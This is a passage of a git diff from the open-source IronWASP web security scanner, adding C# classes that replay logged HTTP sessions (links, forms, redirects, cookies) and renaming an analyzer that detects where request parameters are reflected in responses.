ReplayAssociation = null; + //public CookieStore Cookies = new CookieStore(); + + public LogReplayAssociation(LogAssociation OriAsso) + { + this.OriginalAssociation = OriAsso; + } + public LogReplayAssociation(LogAssociation OriAsso, LogAssociation RepAsso) + { + this.OriginalAssociation = OriAsso; + this.ReplayAssociation = RepAsso; + } + + public override string ToString() + { + return ReplayAssociation.ToString(); + } + } + + public class LogReplayAssociations + { + Dictionary Associations = new Dictionary(); + Dictionary AssociationsByOriginalId = new Dictionary(); + public CookieStore Cookies = new CookieStore(); + + public LogReplayAssociations(List LogAssoList, CookieStore CookSt) + { + this.Cookies = CookSt; + foreach (LogReplayAssociation Asso in LogAssoList) + { + Associations[Asso.ReplayAssociation.DestinationLog.LogId] = Asso; + if (Asso.OriginalAssociation != null) + { + AssociationsByOriginalId[Asso.OriginalAssociation.DestinationLog.LogId] = Asso; + } + } + } + //public int FirstLogId + //{ + // get + // { + // return LogIds[0]; + // } + //} + //public int LastLogId + //{ + // get + // { + // return LogIds[LogIds.Count - 1]; + // } + //} + public int Count + { + get + { + return Associations.Count; + } + } + //public int FirstOriginalLogId + //{ + // get + // { + // return LogIds[0]; + // } + //} + //public int LastOriginalLogId + //{ + // get + // { + // return LogIds[LogIds.Count - 1]; + // } + //} + public int OriginalCount + { + get + { + return AssociationsByOriginalId.Count; + } + } + public List LogIds + { + get + { + List UnsortedLogIds = new List(Associations.Keys); + UnsortedLogIds.Sort(); + return UnsortedLogIds; + } + } + public List OriginalLogIds + { + get + { + List UnsortedLogIds = new List(AssociationsByOriginalId.Keys); + UnsortedLogIds.Sort(); + return UnsortedLogIds; + } + } + public bool HasLog(int LogId) + { + return Associations.ContainsKey(LogId); + } + public bool HasOriginalLog(int LogId) + { + return AssociationsByOriginalId.ContainsKey(LogId); + } + public LogReplayAssociation GetAssociation(int LogId) + { + return Associations[LogId]; + } + public LogReplayAssociation GetAssociationByOriginalId(int LogId) + { + return AssociationsByOriginalId[LogId]; + } + public override string ToString() + { + StringBuilder SB = new StringBuilder(); + //SB.Append("Associations for: "); SB.AppendLine(Ua); + SB.AppendLine("----------------------"); + //foreach (LogAssociation Asso in Associations) + foreach (int LogId in LogIds) + { + SB.AppendLine(Associations[LogId].ToString()); + } + SB.AppendLine("----------------------"); + return SB.ToString(); + } + } +} diff --git a/Iron/Analysis/LogReplayer.cs b/Iron/Analysis/LogReplayer.cs new file mode 100644 index 0000000..da4825f --- /dev/null +++ b/Iron/Analysis/LogReplayer.cs @@ -0,0 +1,418 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.Analysis +{ + public class LogReplayer + { + public delegate Request UpdateRequestBeforeReplaying(Request Req, LogAssociation CorrespondingOriginalLogAssociation); + + LogAssociations Associations = null; + CookieStore Cookies = new CookieStore(); + UpdateRequestBeforeReplaying ReqUpdater = null; + + int CurrentPlayIndex = 0; + Request CurrentRequestBeingPlayed = null; + LogReplayAssociation CurrentAssociationBeingPlayed = null; + LogReplayAssociation PreviousAssociationToOneBeingPlayed = null; + + List PlayAssociations = new List(); + + public LogReplayer(LogAssociations _Associations) + { + this.Associations = _Associations; + } + public LogReplayer(LogAssociations _Associations, CookieStore _Cookies) + { + this.Associations = _Associations; + this.Cookies = _Cookies; + } + public LogReplayer(LogAssociations _Associations, UpdateRequestBeforeReplaying _ReqUpdater) + { + this.Associations = _Associations; + this.ReqUpdater = _ReqUpdater; + } + public LogReplayer(LogAssociations _Associations, UpdateRequestBeforeReplaying _ReqUpdater, CookieStore _Cookies) + { + this.Associations = _Associations; + this.ReqUpdater = _ReqUpdater; + this.Cookies = _Cookies; + } + + public bool HasMoreStepsToPlay() + { + if (CurrentPlayIndex < Associations.NonIgnorableCount) + { + return true; + } + else + { + return false; + } + } + + public LogReplayAssociations Play() + { + this.PlayAssociations.Clear(); + while (HasMoreStepsToPlay()) + { + PrepareStepForPlay(); + PlayStep(); + } + return new LogReplayAssociations(this.PlayAssociations, this.Cookies); + } + + public Request PrepareStepForPlay() + { + if (PlayAssociations.Count == 0 && Associations.NonIgnorableCount > 0) + { + foreach (int LogId in Associations.LogIds) + { + LogAssociation Asso = Associations.GetAssociation(LogId); + if (!Asso.IsIgnorable) + { + LogReplayAssociation PlayAsso = new LogReplayAssociation(Asso); + PlayAssociations.Add(PlayAsso); + } + } + } + + //LogReplayAssociation PlayAsso = PlayAssociations[CurrentPlayIndex]; + + CurrentAssociationBeingPlayed = PlayAssociations[CurrentPlayIndex]; + + //LogReplayAssociation PreviousAsso = null; + + PreviousAssociationToOneBeingPlayed = null; + foreach (LogReplayAssociation PrePlayAsso in PlayAssociations) + { + if (PrePlayAsso.OriginalAssociation != null + && PrePlayAsso.OriginalAssociation.DestinationLog != null + && CurrentAssociationBeingPlayed.OriginalAssociation.SourceLog != null + && CurrentAssociationBeingPlayed.OriginalAssociation.SourceLog.LogId == PrePlayAsso.OriginalAssociation.DestinationLog.LogId) + { + PreviousAssociationToOneBeingPlayed = PrePlayAsso; + } + } + //Request Req = GetRequest(CurrentAsso, PreviousAsso); + CurrentRequestBeingPlayed = GetRequest(CurrentAssociationBeingPlayed, PreviousAssociationToOneBeingPlayed); + + CurrentRequestBeingPlayed.Cookie.RemoveAll(); + CurrentRequestBeingPlayed.SetCookie(Cookies); + CurrentRequestBeingPlayed.SetSource("LogReplayer"); + if (ReqUpdater != null) + { + CurrentRequestBeingPlayed = ReqUpdater(CurrentRequestBeingPlayed, CurrentAssociationBeingPlayed.OriginalAssociation); + } + + return CurrentRequestBeingPlayed; + } + + public Response PlayStep() + { + Response Res = CurrentRequestBeingPlayed.Send(); + Cookies.Add(CurrentRequestBeingPlayed, Res); + if (PreviousAssociationToOneBeingPlayed != null && PreviousAssociationToOneBeingPlayed.ReplayAssociation != null && PreviousAssociationToOneBeingPlayed.ReplayAssociation.DestinationLog != null) + { + CurrentAssociationBeingPlayed.ReplayAssociation = new LogAssociation(LogAssociationType.Unknown, RefererAssociationType.None, IronHtml.UrlInHtmlMatch.None, LogAssociationMatchLevel.Other, PreviousAssociationToOneBeingPlayed.ReplayAssociation.DestinationLog, new Session(CurrentRequestBeingPlayed, Res)); + } + else + { + CurrentAssociationBeingPlayed.ReplayAssociation = new LogAssociation(LogAssociationType.Unknown, RefererAssociationType.None, IronHtml.UrlInHtmlMatch.None, LogAssociationMatchLevel.Other, null, new Session(CurrentRequestBeingPlayed, Res)); + } + CurrentPlayIndex++; + return Res; + } + + /* + public LogReplayAssociations Play(LogAssociations Associations) + { + return Play(Associations, null, new CookieStore()); + } + + public LogReplayAssociations Play(LogAssociations Associations, CookieStore Cookies) + { + return Play(Associations, null, Cookies); + } + + public LogReplayAssociations Play(LogAssociations Associations, UpdateRequestBeforeReplaying ReqUpdater) + { + return Play(Associations, ReqUpdater, new CookieStore()); + } + public LogReplayAssociations Play(LogAssociations Associations, UpdateRequestBeforeReplaying ReqUpdater, CookieStore Cookies) + { + List PlayAssociations = new List(); + foreach (int LogId in Associations.LogIds) + { + LogAssociation Asso = Associations.GetAssociation(LogId); + if (!Asso.IsIgnorable) + { + LogReplayAssociation PlayAsso = new LogReplayAssociation(Asso); + PlayAssociations.Add(PlayAsso); + } + } + foreach (LogReplayAssociation PlayAsso in PlayAssociations) + { + LogReplayAssociation PreviousAsso = null; + foreach (LogReplayAssociation PrePlayAsso in PlayAssociations) + { + if (PrePlayAsso.OriginalAssociation != null + && PrePlayAsso.OriginalAssociation.DestinationLog != null + && PlayAsso.OriginalAssociation.SourceLog != null + && PlayAsso.OriginalAssociation.SourceLog.LogId == PrePlayAsso.OriginalAssociation.DestinationLog.LogId) + { + PreviousAsso = PrePlayAsso; + } + } + PlayAssociation(PlayAsso, PreviousAsso, Cookies, ReqUpdater); + } + return new LogReplayAssociations(PlayAssociations, Cookies); + } + */ + + //LogReplayAssociation PlayAssociation(LogAssociation CurrentAsso, List PlayAssociations, LogAssociations Associations, CookieStore Cookies) + /* + void PlayAssociation(LogReplayAssociation CurrentAsso, LogReplayAssociation PreviousAsso, CookieStore Cookies, UpdateRequestBeforeReplaying ReqUpdater) + { + Request Req = GetRequest(CurrentAsso, PreviousAsso); + Req.Cookie.RemoveAll(); + Req.SetCookie(Cookies); + Req.SetSource("LogReplayer"); + if (ReqUpdater != null) + { + Req = ReqUpdater(Req, CurrentAsso.OriginalAssociation); + } + Response Res = Req.Send(); + Cookies.Add(Req, Res); + if (PreviousAsso != null && PreviousAsso.ReplayAssociation != null && PreviousAsso.ReplayAssociation.DestinationLog != null) + { + CurrentAsso.ReplayAssociation = new LogAssociation(LogAssociationType.Unknown, RefererAssociationType.None, IronHtml.UrlInHtmlMatch.None, LogAssociationMatchLevel.Other, PreviousAsso.ReplayAssociation.DestinationLog, new Session(Req, Res)); + } + else + { + CurrentAsso.ReplayAssociation = new LogAssociation(LogAssociationType.Unknown, RefererAssociationType.None, IronHtml.UrlInHtmlMatch.None, LogAssociationMatchLevel.Other, null, new Session(Req, Res)); + } + } + */ + + Request GetRequest(LogReplayAssociation PlayAsso, LogReplayAssociation PreviousPlayAsso) + { + LogAssociation OriAsso = PlayAsso.OriginalAssociation; + if (OriAsso.AssociationType == LogAssociationType.UnAssociated || OriAsso.AssociationType == LogAssociationType.Unknown) + { + return OriAsso.DestinationLog.Request.GetClone(); + } + if (OriAsso.SourceLog == null || PreviousPlayAsso == null || PreviousPlayAsso.ReplayAssociation == null || PreviousPlayAsso.ReplayAssociation.DestinationLog == null) + { + return OriAsso.DestinationLog.Request.GetClone(); + } + + Request Req = GetRequest(OriAsso, PreviousPlayAsso.ReplayAssociation.DestinationLog); + if (Req == null) + { + //do something here + //check in nearnest logs for redirect based variations otherwise just send the old request + } + else + { + return Req; + } + + return OriAsso.DestinationLog.Request.GetClone(); + } + + Request GetRequest(LogAssociation CurrentAsso, Session PlaySess) + { + switch (CurrentAsso.AssociationType) + { + case(LogAssociationType.LinkClick): + return GetLinkClick(CurrentAsso, PlaySess); + case(LogAssociationType.FormSubmission): + return GetFormSubmission(CurrentAsso, PlaySess); + case(LogAssociationType.Redirect): + return GetRedirect(CurrentAsso, PlaySess); + default: + return null; + } + } + + Request GetLinkClick(LogAssociation CurrentAsso, Session PlaySess) + { + Response Res = PlaySess.Response; + List BestMatches = new List(); + List SecondBestMatches = new List(); + + IronHtml.LinkElementCollection NewLinkElements = new IronHtml.LinkElementCollection(Res.Html.GetLinkElements()); + + Request ReqToMatchAgainst = CurrentAsso.DestinationLog.Request; + + //List LinkElements = CurrentAsso.DestinationLog.Response.Html.GetLinkElements(); + foreach (IronHtml.LinkElement LinkEle in CurrentAsso.SourceLog.Response.Html.GetLinkElements()) + { + if (LinkEle.IsAbsoluteHref) + { + if (LinkEle.Href.Equals(ReqToMatchAgainst.FullUrl)) + { + BestMatches.Add(LinkEle); + } + } + else if(!LinkEle.IsJavaScriptHref) + { + if (LinkEle.GetLinkClick(CurrentAsso.SourceLog.Request).FullUrl.Equals(ReqToMatchAgainst.FullUrl)) + { + SecondBestMatches.Add(LinkEle); + } + } + } + + foreach (List Matches in new List>() { BestMatches, SecondBestMatches }) + { + //check by link id + foreach (IronHtml.LinkElement LinkEle in Matches) + { + if (LinkEle.HasId) + { + List MatchingClicks = NewLinkElements.GetElementsWithId(LinkEle.Id); + if (MatchingClicks.Count > 0) + { + return ((IronHtml.LinkElement)MatchingClicks[0]).GetLinkClick(PlaySess.Request); + } + } + } + //check by link name + foreach (IronHtml.LinkElement LinkEle in Matches) + { + if (LinkEle.HasName) + { + List MatchingClicks = NewLinkElements.GetElementsWithName(LinkEle.Name); + if (MatchingClicks.Count > 0) + { + return ((IronHtml.LinkElement)MatchingClicks[0]).GetLinkClick(PlaySess.Request); + } + } + } + //check by inner text + foreach (IronHtml.LinkElement LinkEle in Matches) + { + if (LinkEle.InnerText.Trim().Length > 0) + { + List MatchingClicks = NewLinkElements.GetElementsWithInnerText(LinkEle.InnerText); + if (MatchingClicks.Count > 0) + { + return ((IronHtml.LinkElement)MatchingClicks[0]).GetLinkClick(PlaySess.Request); + } + } + } + } + + foreach (List Matches in new List>() { BestMatches, SecondBestMatches }) + { + foreach (IronHtml.LinkElement LinkEle in Matches) + { + if (NewLinkElements.Count > LinkEle.Index) + { + foreach (IronHtml.LinkElement NewLinkEle in NewLinkElements.GetElements()) + { + if (NewLinkEle.Index == LinkEle.Index) + { + return NewLinkEle.GetLinkClick(PlaySess.Request); + } + } + } + } + } + + //foreach (List Matches in new List>() { BestMatches, SecondBestMatches }) + //{ + // //check by class name + // foreach (IronHtml.LinkElement LinkEle in Matches) + // { + // if (LinkEle.HasClass) + // { + // List MatchingClicks = NewLinkClicks.GetElementsWithClass(LinkEle.Class); + // if (MatchingClicks.Count > 0) + // { + // return ((IronHtml.LinkElement)MatchingClicks[0]).GetLinkClick(PlaySess.Request); + // } + // } + // } + //} + return null; + } + + Request GetFormSubmission(LogAssociation CurrentAsso, Session PlaySess) + { + Response Res = PlaySess.Response; + List BestMatches = new List(); + List SecondBestMatches = new List(); + + IronHtml.FormElementCollection NewFormElements = new IronHtml.FormElementCollection(Res.Html.GetFormElements()); + + Request ReqToMatchAgainst = CurrentAsso.DestinationLog.Request; + + //List FormElements = CurrentAsso.DestinationLog.Response.Html.GetFormElements(); + foreach (IronHtml.FormElement FormEle in CurrentAsso.SourceLog.Response.Html.GetFormElements()) + { + if (FormEle.DoAllInputFieldValuesMatchRequest(ReqToMatchAgainst)) + { + BestMatches.Add(FormEle); + } + else if (FormEle.DoHiddenInputFieldValuesMatchRequest(ReqToMatchAgainst)) + { + BestMatches.Add(FormEle); + } + else if (FormEle.DoInputFieldNamesMatchRequest(ReqToMatchAgainst)) + { + SecondBestMatches.Add(FormEle); + } + } + + foreach (List Matches in new List>() { BestMatches, SecondBestMatches }) + { + //check by link id + foreach (IronHtml.FormElement FormEle in Matches) + { + if (FormEle.HasId) + { + List MatchingForms = NewFormElements.GetElementsWithId(FormEle.Id); + if (MatchingForms.Count > 0 && ((IronHtml.FormElement)MatchingForms[0]).DoInputFieldNamesMatchRequest(ReqToMatchAgainst)) + { + return ((IronHtml.FormElement)MatchingForms[0]).GetFormSubmissionWithHiddenValuesFromFormAndOtherFromSecondArgument(PlaySess.Request, ReqToMatchAgainst); + } + } + } + //check by link name + foreach (IronHtml.FormElement FormEle in Matches) + { + if (FormEle.HasName) + { + List MatchingForms = NewFormElements.GetElementsWithName(FormEle.Name); + if (MatchingForms.Count > 0 && ((IronHtml.FormElement)MatchingForms[0]).DoInputFieldNamesMatchRequest(ReqToMatchAgainst)) + { + return ((IronHtml.FormElement)MatchingForms[0]).GetFormSubmissionWithHiddenValuesFromFormAndOtherFromSecondArgument(PlaySess.Request, ReqToMatchAgainst); + } + } + } + } + + foreach (IronHtml.FormElement NewFormEle in NewFormElements.GetElements()) + { + if (NewFormEle.DoInputFieldNamesMatchRequest(ReqToMatchAgainst)) + { + return NewFormEle.GetFormSubmissionWithHiddenValuesFromFormAndOtherFromSecondArgument(PlaySess.Request, ReqToMatchAgainst); + } + } + + return null; + } + Request GetRedirect(LogAssociation CurrentAsso, Session PlaySess) + { + if (PlaySess.Response.IsRedirect) + { + return PlaySess.Request.GetRedirect(PlaySess.Response); + } + return null; + } + } +} diff --git a/IronWASP/Analyzer.cs b/Iron/Analyzer.cs similarity index 93% rename from IronWASP/Analyzer.cs rename to Iron/Analyzer.cs index ce71e3b..9a47c54 100644 --- a/IronWASP/Analyzer.cs +++ b/Iron/Analyzer.cs @@ -1,376 +1,384 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading; - -namespace IronWASP -{ - public class Analyzer - { - //internal static Dictionary ProbeStrings = new Dictionary(); - internal static Dictionary ProbeStrings = new Dictionary(); - - static int ProbeStringCounter = 0; - - public static List GetProbeStrings() - { - List AllProbeStrings = new List(ProbeStrings.Keys); - return AllProbeStrings; - } - - public static Request GetProbeStringRequest(string ProbeString) - { - return Request.FromScanLog(ProbeStrings[ProbeString]); - } - - public static int GetProbeCounter() - { - return Interlocked.Increment(ref ProbeStringCounter); - } - - public static string GetProbeString() - { - int ID = GetProbeCounter(); - string[] Alphabets = new string[] { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; - Random R = new Random(); - string AlphaChar = Alphabets[R.Next(26)]; - int FirstPartSize = R.Next(1, 4); - int LastPartSize = R.Next(4, 8); - StringBuilder PS = new StringBuilder(); - for (int i = 0; i <= FirstPartSize; i++) - { - PS.Append(AlphaChar); - } - PS.Append(ID.ToString()); - for (int i = 0; i <= LastPartSize; i++) - { - PS.Append(AlphaChar); - } - return PS.ToString(); - } - - public static void AddProbeString(string ProbeString, int LogId) - { - lock (ProbeStrings) - { - ProbeStrings.Add(ProbeString, LogId); - } - } - - internal static Reflections GetAllReflections(Session IrSe) - { - Reflections AllReflections = new Reflections(); - - if (IrSe == null) return AllReflections; - if (IrSe.Request == null) return AllReflections; - if (IrSe.Response == null) return AllReflections; - int TotalReflections = 0; - - List UrlReflections = new List(); - List UrlPathPartReflections = new List(); - List QueryReflections = new List(); - List BodyReflections = new List(); - List CookieReflections = new List(); - List HeaderReflections = new List(); - - string ResString = IrSe.Response.ToString(); - - //Check if the URL is being reflected back - if (IrSe.Request.Url.Length > 1) - { - Reflection RefResult = GetReflections(IrSe.Request.Url, ResString); - if (RefResult.Count > 0) - { - RefResult.Name = "URL"; - RefResult.Value = IrSe.Request.Url; - RefResult.Section = "URL"; - UrlReflections.Add(RefResult); - } - } - - //check if any URL path parts are being reflected. To be checked only when Querystring and File extension are absent (to handle URL rewriting) - - if ((IrSe.Request.Query.Count == 0) && (IrSe.Request.File.Length == 0) && IrSe.Request.UrlPathParts.Count > 0) - { - int PathCount = 0; - foreach (string UrlPathPart in IrSe.Request.UrlPathParts) - { - Reflection RefResult = GetReflections(UrlPathPart, ResString); - if (RefResult.Count > 0) - { - RefResult.Name = "UrlPathPart : " + PathCount.ToString(); - RefResult.Value = UrlPathPart; - RefResult.Section = "UrlPathPart"; - UrlPathPartReflections.Add(RefResult); - } - PathCount++; - } - } - - //check if any Query parameters are being reflected - foreach (string Name in IrSe.Request.Query.GetNames()) - { - List SubParametervalues = IrSe.Request.Query.GetAll(Name); - List ParameterResults = new List(); - foreach (string Value in SubParametervalues) - { - Reflection RefResult = GetReflections(Value, ResString); - if (RefResult.Count > 0) - { - RefResult.Name = Name; - RefResult.Value = Value; - RefResult.Section = "Query"; - QueryReflections.Add(RefResult); - } - } - } - - //check if any Body parameters are being reflected - foreach (string Name in IrSe.Request.Body.GetNames()) - { - List SubParametervalues = IrSe.Request.Body.GetAll(Name); - List ParameterResults = new List(); - foreach (string Value in SubParametervalues) - { - Reflection RefResult = GetReflections(Value, ResString); - if (RefResult.Count > 0) - { - RefResult.Name = Name; - RefResult.Value = Value; - RefResult.Section = "Body"; - BodyReflections.Add(RefResult); - } - } - } - - //check if any Cookie parameters are being reflected - foreach (string Name in IrSe.Request.Cookie.GetNames()) - { - List SubParametervalues = IrSe.Request.Cookie.GetAll(Name); - List ParameterResults = new List(); - foreach (string Value in SubParametervalues) - { - Reflection RefResult = GetReflections(Value, ResString); - if (RefResult.Count > 0) - { - RefResult.Name = Name; - RefResult.Value = Value; - RefResult.Section = "Cookie"; - CookieReflections.Add(RefResult); - } - } - } - - //check if any Header parameters are being reflected - foreach (string Name in IrSe.Request.Headers.GetNames()) - { - List SubParametervalues = IrSe.Request.Headers.GetAll(Name); - List ParameterResults = new List(); - foreach (string Value in SubParametervalues) - { - Reflection RefResult = GetReflections(Value, ResString); - if (RefResult.Count > 0) - { - RefResult.Name = Name; - RefResult.Value = Value; - RefResult.Section = "Header"; - HeaderReflections.Add(RefResult); - } - } - } - - TotalReflections = UrlReflections.Count + UrlPathPartReflections.Count + QueryReflections.Count + BodyReflections.Count + CookieReflections.Count + HeaderReflections.Count; - - AllReflections.Url = UrlReflections; - AllReflections.UrlPathPart = UrlPathPartReflections; - AllReflections.Query = QueryReflections; - AllReflections.Body = BodyReflections; - AllReflections.Cookie = CookieReflections; - AllReflections.Header = HeaderReflections; - - return AllReflections; - } - - public static string CheckReflections(Session IrSe) - { - Reflections AllReflections = GetAllReflections(IrSe); - return CheckReflections(AllReflections); - } - - public static string CheckReflections(Reflections AllReflections) - { - StringBuilder Result = new StringBuilder(); - if (AllReflections.Count == 0) return Result.ToString(); - - int TotalReflections = 0; - - List UrlReflections = AllReflections.Url; - List UrlPathPartReflections = AllReflections.UrlPathPart; - List QueryReflections = AllReflections.Query; - List BodyReflections = AllReflections.Body; - List CookieReflections = AllReflections.Cookie; - List HeaderReflections = AllReflections.Header; - - - TotalReflections = UrlReflections.Count + UrlPathPartReflections.Count + QueryReflections.Count + BodyReflections.Count + CookieReflections.Count + HeaderReflections.Count; - - Result.Append(">Total Reflections: "); Result.Append(TotalReflections.ToString()); Result.Append("> | "); - - if (UrlReflections.Count > 0) - { - Result.Append("> URL : "); Result.Append(UrlReflections.Count.ToString()); Result.Append("> | "); - } - if (UrlPathPartReflections.Count > 0) - { - Result.Append("> URL Path : "); Result.Append(UrlPathPartReflections.Count.ToString()); Result.Append("> | "); - } - if (QueryReflections.Count > 0) - { - Result.Append("> Query : "); Result.Append(QueryReflections.Count.ToString()); Result.Append("> | "); - } - if (BodyReflections.Count > 0) - { - Result.Append("> Body : "); Result.Append(BodyReflections.Count.ToString()); Result.Append("> | "); - } - if (CookieReflections.Count > 0) - { - Result.Append("> Cookie : "); Result.Append(CookieReflections.Count.ToString()); Result.Append("> | "); - } - if (HeaderReflections.Count > 0) - { - Result.Append("> Headers : "); Result.Append(HeaderReflections.Count.ToString()); Result.Append("> | "); - } - - Result.Append(">"); - - Dictionary> OrderedReflections = new Dictionary>(); - - foreach (List ReflectionList in AllReflections.GetList()) - { - foreach (Reflection Refl in ReflectionList) - { - if (OrderedReflections.ContainsKey(Refl.Length)) - OrderedReflections[Refl.Length].Add(Refl); - else - OrderedReflections.Add(Refl.Length, new List() { Refl }); - } - } - - List LengthOrder = new List(OrderedReflections.Keys); - LengthOrder.Sort(); - for (int i = LengthOrder.Count - 1; i >= 0; i--) - { - int Length = LengthOrder[i]; - foreach (Reflection Refl in OrderedReflections[Length]) - { - Result.Append(">>"); - Result.Append(">Section:> "); Result.Append(Refl.Section); Result.Append(" | >Parameter:> "); Result.Append(Refl.Name); Result.Append(" | >Count:> "); Result.Append(Refl.Count.ToString()); Result.Append(" | >Value:>> "); Result.Append(Refl.Value); Result.Append(">"); - foreach (string R in Refl.GetReflections()) - { - Result.Append("> "); Result.Append(R); - } - } - } - return Result.ToString(); - } - - //public static Reflection GetReflections(string Input, Response Res) - //{ - // List Results = new List(); - // string ResString = Res.ToString(); - // return GetReflections(Input, ResString); - //} - - public static Reflection GetReflections(string Input, string ResString) - { - List Variations = new List(); - Variations.Add(Input); - Variations.Add(Input.ToLower()); - Variations.Add(Input.ToUpper()); - Variations.Add(Tools.UrlEncode(Input)); - Variations.Add(Tools.UrlPathEncode(Input)); - Variations.Add(Tools.HtmlEncode(Input)); - Variations.Add(Tools.XmlEncode(Input)); - Variations.Add(Tools.JsonEncode(Input)); - Variations.Add(Tools.RelaxedUrlEncode(Input)); - Variations.Add(Tools.UrlUnicodeEncode(Input)); - Variations.Add(Input.Replace("\"", "\\\"")); - Variations.Add(Input.Replace("'", "\\\'")); - - Dictionary TempDict = new Dictionary(); - foreach (string V in Variations) - { - TempDict[V] = 0; - } - Variations = new List(TempDict.Keys); - - - Reflection Result = new Reflection("", Input, ""); - foreach (string V in Variations) - { - Reflection Ref = GetReflectionsFor(V, ResString); - if (Ref.Count > 0) - { - foreach (string RefStr in Ref.GetReflections()) - { - Result.Add(RefStr.Replace(V, string.Format(">{0}>", V))); - } - } - } - return Result; - } - - public static Reflection GetReflectionsFor(string Input, string ResString) - { - Reflection Results = new Reflection("", Input, ""); - if (Input.Length == 0 || !ResString.Contains(Input)) return Results; - - //string Pattern = String.Format(@"\W{0}\W", Input.Replace("\\", "\\\\").Replace(".", "\\.").Replace("$", "\\$").Replace("^", "\\^").Replace("*", "\\*").Replace("|", "\\|").Replace("+", "\\+").Replace("?", "\\?").Replace("{", "\\{").Replace("}", "\\}").Replace("[", "\\[").Replace("]", "\\]").Replace("(", "\\(").Replace(")", "\\)")); - string Pattern = String.Format(@"\W{0}\W", Regex.Escape(Input)); - - MatchCollection MatchResults = Regex.Matches(ResString, Pattern, RegexOptions.Multiline | RegexOptions.IgnoreCase | RegexOptions.IgnorePatternWhitespace); - foreach (Match M in MatchResults) - { - if (M.Success) - { - int SubStringStart = M.Index - 20; - int SubStringLength = 0; - if (SubStringStart < 0) - { - SubStringStart = 0; - SubStringLength = SubStringStart + M.Length + 20; - } - else - { - SubStringLength = M.Length + 40; - } - - if (SubStringStart + SubStringLength >= ResString.Length) - Results.Add(ResString.Substring(SubStringStart)); - else - Results.Add(ResString.Substring(SubStringStart, SubStringLength)); - } - } - return Results; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace IronWASP +{ + public class Analyzer + { + //internal static Dictionary ProbeStrings = new Dictionary(); + internal static Dictionary ProbeStrings = new Dictionary(); + + static int ProbeStringCounter = 0; + + public static List GetProbeStrings() + { + List AllProbeStrings = new List(ProbeStrings.Keys); + return AllProbeStrings; + } + + public static Request GetProbeStringRequest(string ProbeString) + { + return Request.FromScanLog(ProbeStrings[ProbeString]); + } + + public static int GetProbeCounter() + { + return Interlocked.Increment(ref ProbeStringCounter); + } + + public static string GetProbeString() + { + int ID = GetProbeCounter(); + string[] Alphabets = new string[] { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; + Random R = new Random(); + string AlphaChar = Alphabets[R.Next(26)]; + int FirstPartSize = R.Next(1, 4); + int LastPartSize = R.Next(4, 8); + StringBuilder PS = new StringBuilder(); + for (int i = 0; i <= FirstPartSize; i++) + { + PS.Append(AlphaChar); + } + PS.Append(ID.ToString()); + for (int i = 0; i <= LastPartSize; i++) + { + PS.Append(AlphaChar); + } + return PS.ToString(); + } + + public static void AddProbeString(string ProbeString, int LogId) + { + lock (ProbeStrings) + { + ProbeStrings.Add(ProbeString, LogId); + } + } + + internal static Reflections GetAllReflections(Session IrSe) + { + Reflections AllReflections = new Reflections(); + + if (IrSe == null) return AllReflections; + if (IrSe.Request == null) return AllReflections; + if (IrSe.Response == null) return AllReflections; + int TotalReflections = 0; + + List UrlReflections = new List(); + List UrlPathPartReflections = new List(); + List QueryReflections = new List(); + List BodyReflections = new List(); + List CookieReflections = new List(); + List HeaderReflections = new List(); + + string ResString = IrSe.Response.ToString(); + + //Check if the URL is being reflected back + if (IrSe.Request.Url.Length > 1) + { + Reflection RefResult = GetReflections(IrSe.Request.Url, ResString); + if (RefResult.Count > 0) + { + RefResult.Name = "URL"; + RefResult.Value = IrSe.Request.Url; + RefResult.Section = "URL"; + UrlReflections.Add(RefResult); + } + } + + //check if any URL path parts are being reflected. To be checked only when Querystring and File extension are absent (to handle URL rewriting) + + if ((IrSe.Request.Query.Count == 0) && (IrSe.Request.File.Length == 0) && IrSe.Request.UrlPathParts.Count > 0) + { + int PathCount = 0; + foreach (string UrlPathPart in IrSe.Request.UrlPathParts) + { + Reflection RefResult = GetReflections(UrlPathPart, ResString); + if (RefResult.Count > 0) + { + RefResult.Name = "UrlPathPart : " + PathCount.ToString(); + RefResult.Value = UrlPathPart; + RefResult.Section = "UrlPathPart"; + UrlPathPartReflections.Add(RefResult); + } + PathCount++; + } + } + + //check if any Query parameters are being reflected + foreach (string Name in IrSe.Request.Query.GetNames()) + { + List SubParametervalues = IrSe.Request.Query.GetAll(Name); + List ParameterResults = new List(); + foreach (string Value in SubParametervalues) + { + Reflection RefResult = GetReflections(Value, ResString); + if (RefResult.Count > 0) + { + RefResult.Name = Name; + RefResult.Value = Value; + RefResult.Section = "Query"; + QueryReflections.Add(RefResult); + } + } + } + + //check if any Body parameters are being reflected + foreach (string Name in IrSe.Request.Body.GetNames()) + { + List SubParametervalues = IrSe.Request.Body.GetAll(Name); + List ParameterResults = new List(); + foreach (string Value in SubParametervalues) + { + Reflection RefResult = GetReflections(Value, ResString); + if (RefResult.Count > 0) + { + RefResult.Name = Name; + RefResult.Value = Value; + RefResult.Section = "Body"; + BodyReflections.Add(RefResult); + } + } + } + + //check if any Cookie parameters are being reflected + foreach (string Name in IrSe.Request.Cookie.GetNames()) + { + List SubParametervalues = IrSe.Request.Cookie.GetAll(Name); + List ParameterResults = new 